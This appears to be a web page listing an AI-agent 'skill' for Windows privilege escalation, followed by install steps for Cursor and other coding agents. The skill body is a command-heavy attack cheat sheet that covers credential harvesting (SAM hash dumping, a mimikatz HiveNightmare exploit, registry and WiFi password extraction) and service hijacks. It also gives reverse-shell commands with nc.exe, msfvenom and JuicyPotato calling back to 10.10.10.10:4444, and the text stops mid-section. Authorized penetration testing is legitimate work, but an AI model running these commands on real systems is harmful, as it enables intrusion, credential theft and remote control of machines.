Windows Privilege Escalation

Purpose

Provide systematic methodologies for discovering and exploiting privilege escalation vulnerabilities on Windows systems during penetration testing engagements. This skill covers system enumeration, credential harvesting, service exploitation, token impersonation, kernel exploits, and various misconfigurations that enable escalation from standard user to Administrator or SYSTEM privileges.

Inputs / Prerequisites

• Initial Access: Shell or RDP access as standard user on Windows system
• Enumeration Tools: WinPEAS, PowerUp, Seatbelt, or manual commands
• Exploit Binaries: Pre-compiled exploits or ability to transfer tools
• Knowledge: Understanding of Windows security model and privileges
• Authorization: Written permission for penetration testing activities

Outputs / Deliverables

• Privilege Escalation Path: Identified vector to higher privileges
• Credential Dump: Harvested passwords, hashes, or tokens
• Elevated Shell: Command execution as Administrator or SYSTEM
• Vulnerability Report: Documentation of misconfigurations and exploits
• Remediation Recommendations: Fixes for identified weaknesses

Core Workflow

1. System Enumeration

Basic System Information

# OS version and patches
systeminfo | findstr /B /C:"OS Name" /C:"OS Version"
wmic qfe

# Architecture
wmic os get osarchitecture
echo %PROCESSOR_ARCHITECTURE%

# Environment variables
set
Get-ChildItem Env: | ft Key,Value

# List drives
wmic logicaldisk get caption,description,providername

User Enumeration

# Current user
whoami
echo %USERNAME%

# User privileges
whoami /priv
whoami /groups
whoami /all

# All users
net user
Get-LocalUser | ft Name,Enabled,LastLogon

# User details
net user administrator
net user %USERNAME%

# Local groups
net localgroup
net localgroup administrators
Get-LocalGroupMember Administrators | ft Name,PrincipalSource

Network Enumeration

# Network interfaces
ipconfig /all
Get-NetIPConfiguration | ft InterfaceAlias,InterfaceDescription,IPv4Address

# Routing table
route print
Get-NetRoute -AddressFamily IPv4 | ft DestinationPrefix,NextHop,RouteMetric

# ARP table
arp -A

# Active connections
netstat -ano

# Network shares
net share

# Domain Controllers
nltest /DCLIST:DomainName

Antivirus Enumeration

# Check AV products
WMIC /Node:localhost /Namespace:\\root\SecurityCenter2 Path AntivirusProduct Get displayName

2. Credential Harvesting

SAM and SYSTEM Files

# SAM file locations
%SYSTEMROOT%\repair\SAM
%SYSTEMROOT%\System32\config\RegBack\SAM
%SYSTEMROOT%\System32\config\SAM

# SYSTEM file locations
%SYSTEMROOT%\repair\system
%SYSTEMROOT%\System32\config\SYSTEM
%SYSTEMROOT%\System32\config\RegBack\system

# Extract hashes (from Linux after obtaining files)
pwdump SYSTEM SAM > sam.txt
samdump2 SYSTEM SAM -o sam.txt

# Crack with John
john --format=NT sam.txt

HiveNightmare (CVE-2021-36934)

# Check vulnerability
icacls C:\Windows\System32\config\SAM
# Vulnerable if: BUILTIN\Users:(I)(RX)

# Exploit with mimikatz
mimikatz> token::whoami /full
mimikatz> misc::shadowcopies
mimikatz> lsadump::sam /system:\\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\System32\config\SYSTEM /sam:\\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\System32\config\SAM

Search for Passwords

# Search file contents
findstr /SI /M "password" *.xml *.ini *.txt
findstr /si password *.xml *.ini *.txt *.config

# Search registry
reg query HKLM /f password /t REG_SZ /s
reg query HKCU /f password /t REG_SZ /s

# Windows Autologin credentials
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\Currentversion\Winlogon" 2>nul | findstr "DefaultUserName DefaultDomainName DefaultPassword"

# PuTTY sessions
reg query "HKCU\Software\SimonTatham\PuTTY\Sessions"

# VNC passwords
reg query "HKCU\Software\ORL\WinVNC3\Password"
reg query HKEY_LOCAL_MACHINE\SOFTWARE\RealVNC\WinVNC4 /v password

# Search for specific files
dir /S /B *pass*.txt == *pass*.xml == *cred* == *vnc* == *.config*
where /R C:\ *.ini

Unattend.xml Credentials

# Common locations
C:\unattend.xml
C:\Windows\Panther\Unattend.xml
C:\Windows\Panther\Unattend\Unattend.xml
C:\Windows\system32\sysprep.inf
C:\Windows\system32\sysprep\sysprep.xml

# Search for files
dir /s *sysprep.inf *sysprep.xml *unattend.xml 2>nul

# Decode base64 password (Linux)
echo "U2VjcmV0U2VjdXJlUGFzc3dvcmQxMjM0Kgo=" | base64 -d

WiFi Passwords

# List profiles
netsh wlan show profile

# Get cleartext password
netsh wlan show profile <SSID> key=clear

# Extract all WiFi passwords
for /f "tokens=4 delims=: " %a in ('netsh wlan show profiles ^| find "Profile "') do @echo off > nul & (netsh wlan show profiles name=%a key=clear | findstr "SSID Cipher Key" | find /v "Number" & echo.) & @echo on

PowerShell History

# View PowerShell history
type %userprofile%\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadline\ConsoleHost_history.txt
cat (Get-PSReadlineOption).HistorySavePath
cat (Get-PSReadlineOption).HistorySavePath | sls passw

3. Service Exploitation

Incorrect Service Permissions

# Find misconfigured services
accesschk.exe -uwcqv "Authenticated Users" * /accepteula
accesschk.exe -uwcqv "Everyone" * /accepteula
accesschk.exe -ucqv <service_name>

# Look for: SERVICE_ALL_ACCESS, SERVICE_CHANGE_CONFIG

# Exploit vulnerable service
sc config <service> binpath= "C:\nc.exe -e cmd.exe 10.10.10.10 4444"
sc stop <service>
sc start <service>

Unquoted Service Paths

# Find unquoted paths
wmic service get name,displayname,pathname,startmode | findstr /i "Auto" | findstr /i /v "C:\Windows\\"
wmic service get name,displayname,startmode,pathname | findstr /i /v "C:\Windows\\" | findstr /i /v """

# Exploit: Place malicious exe in path
# For path: C:\Program Files\Some App\service.exe
# Try: C:\Program.exe or C:\Program Files\Some.exe

AlwaysInstallElevated

# Check if enabled
reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated

# Both must return 0x1 for vulnerability

# Create malicious MSI
msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.10.10.10 LPORT=4444 -f msi -o evil.msi

# Install (runs as SYSTEM)
msiexec /quiet /qn /i C:\evil.msi

4. Token Impersonation

Check Impersonation Privileges

# Look for these privileges
whoami /priv

# Exploitable privileges:
# SeImpersonatePrivilege
# SeAssignPrimaryTokenPrivilege
# SeTcbPrivilege
# SeBackupPrivilege
# SeRestorePrivilege
# SeCreateTokenPrivilege
# SeLoadDriverPrivilege
# SeTakeOwnershipPrivilege
# SeDebugPrivilege

Potato Attacks

# JuicyPotato (Windows Server 2019 and below)
JuicyPotato.exe -l 1337 -p c:\windows\system32\cmd.exe -a "/c c:\tools\nc.exe 10.10.10.10 4444 -e cmd.exe" -t *
how to use windows-privilege-escalation
CursorClaude CodeClineCodexWindsurfGooseGitHub CopilotVS CodeGemini CLIKiloOpencodeKimi CLIRoo ClineAiderContinueZedBolt.newLovablev0Replit AgentSweepSmol DeveloperDevinCavemanAmpAntigravity
How to use windows-privilege-escalation on Cursor
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1
Prerequisites
Before installing skills in Cursor, ensure your development environment meets these requirements:
›Cursor installed and configured on your development machine
›Node.js version 16.0+ with npm package manager (verify with node --version)
›Active project directory or workspace where you want to add windows-privilege-escalation
2
Execute installation command
Execute the skills CLI command in your project's root directory to begin installation:
$npx skills add https://github.com/davila7/claude-code-templates --skill windows-privilege-escalationcopy
The skills CLI fetches windows-privilege-escalation from GitHub repository davila7/claude-code-templates and configures it for Cursor.
3
Select Cursor when prompted
The CLI will show a list of available agents. Use arrow keys to navigate and space to select Cursor:
◆ Which agents do you want to install to?
│
│ ── Universal (.agents/skills) ── always included ────
│   • Amp
│   • Antigravity
│   • Cline
│   • Codex
│ ●Cursor(selected)
│   • Cursor
│   • Windsurf
4
Verify installation
Confirm successful installation by checking the skill directory location:
.cursor/skills/windows-privilege-escalation
Reload or restart Cursor to activate windows-privilege-escalation. Access the skill through slash commands (e.g., /windows-privilege-escalation) or your agent's skill management interface.
⚠
Security & Verification Notice
We perform automated surface-level scans (Gen AI Scanner, Socket, Snyk) during installation. These checks detect common vulnerabilities but do not guarantee complete security. Always review skill source code and verify the publisher's reputation before production use.
Skills execute code in your development environment. Always verify the publisher's identity, review recent commits, and test in isolated environments before production deployment.
Additional Resources
›View source code on GitHub›Skills CLI documentation›Learn more about Cursor›What are agent skills?